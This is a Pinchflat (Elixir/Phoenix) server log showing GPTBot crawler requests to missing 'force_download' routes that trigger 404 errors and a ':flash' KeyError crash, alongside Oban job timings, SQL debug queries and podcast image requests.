"roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6488", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10459.0>, params: %{}, path_info: ["sources", "3", "media", "6488", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6488"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6488/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEZCBECfxssakAA7pB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6488/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6488", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6488/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6488/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6488", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10459.0>, params: %{}, path_info: ["sources", "3", "media", "6488", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:47:27.077 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:57.078 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.694 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:06.543 [info] GET /sources/3/media/6491/force_download 15:48:06.544 [debug] QUERY OK source="settings" db=0.1ms idle=1403.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:48:06.544 [debug] QUERY OK source="settings" db=0.1ms idle=604.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:48:06.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:48:06.544 [error] #PID<0.10465.0> running PinchflatWeb.Endpoint (connection #PID<0.10464.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/6491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6491/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43018}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6491", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10465.0>, params: %{}, path_info: ["sources", "3", "media", "6491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/6491"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/6491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEcqcm4nk4io4AA7sB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6491/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43018}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6491", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/6491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/6491/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43018}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/6491", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10465.0>, params: %{}, path_info: ["sources", "3", "media", "6491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:48:27.079 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:57.080 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.695 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:11.423 [info] GET /sources/2/media/6117/force_download 15:49:11.423 [debug] QUERY OK source="settings" db=0.1ms idle=1483.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:49:11.424 [debug] QUERY OK source="settings" db=0.0ms idle=1484.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:49:11.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:49:11.424 [error] #PID<0.10472.0> running PinchflatWeb.Endpoint (connection #PID<0.10471.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/6117/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6117/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6117/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 42474}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6117", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10472.0>, params: %{}, path_info: ["sources", "2", "media", "6117", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/6117"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/6117/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEgcJMObg2SU4AA7vB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6117/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 42474}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6117", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/6117/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/6117/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 42474}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/6117", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10472.0>, params: %{}, path_info: ["sources", "2", "media", "6117", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 15:49:25.595 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 15:49:25.595 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 15:49:25.595 [debug] QUERY OK source="media_items" db=0.1ms idle=1374.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 15:49:25.595 [info] Sent 200 in 410µs 15:49:27.081 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:30.552 [info] GET /api/v1/videos 15:49:30.552 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 15:49:30.580 [debug] QUERY OK source="media_items" db=28.1ms idle=1612.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 15:49:30.641 [info] Sent 200 in 88ms 15:49:30.767 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 15:49:30.767 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 15:49:30.767 [debug] QUERY OK source="media_items" db=0.1ms idle=1827.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 15:49:30.788 [info] Sent 200 in 21ms 15:49:45.084 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 15:49:45.084 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 15:49:45.084 [debug] QUERY OK source="media_items" db=0.1ms idle=1144.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 15:49:45.085 [info] Sent 200 in 507µs 15:49:47.145 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 15:49:47.145 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 15:49:47.146 [debug] QUERY OK source="media_items" db=0.3ms idle=1206.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 15:49:47.146 [info] Sent 200 in 741µs 15:49:57.082 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.695 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:10.141 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 15:50:10.141 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 15:50:10.141 [debug] QUERY OK source="media_items" db=0.1ms idle=1201.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 15:50:10.141 [info] Sent 200 in 596µs 15:50:10.402 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 15:50:10.402 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 15:50:10.402 [debug] QUERY OK source="media_items" db=0.1ms idle=1462.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 15:50:10.402 [info] Sent 200 in 476µs 15:50:16.528 [info] GET /sources/3/media/6490/force_download 15:50:16.528 [debug] QUERY OK source="settings" db=0.0ms idle=1253.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:50:16.528 [debug] QUERY OK source="settings" db=0.0ms 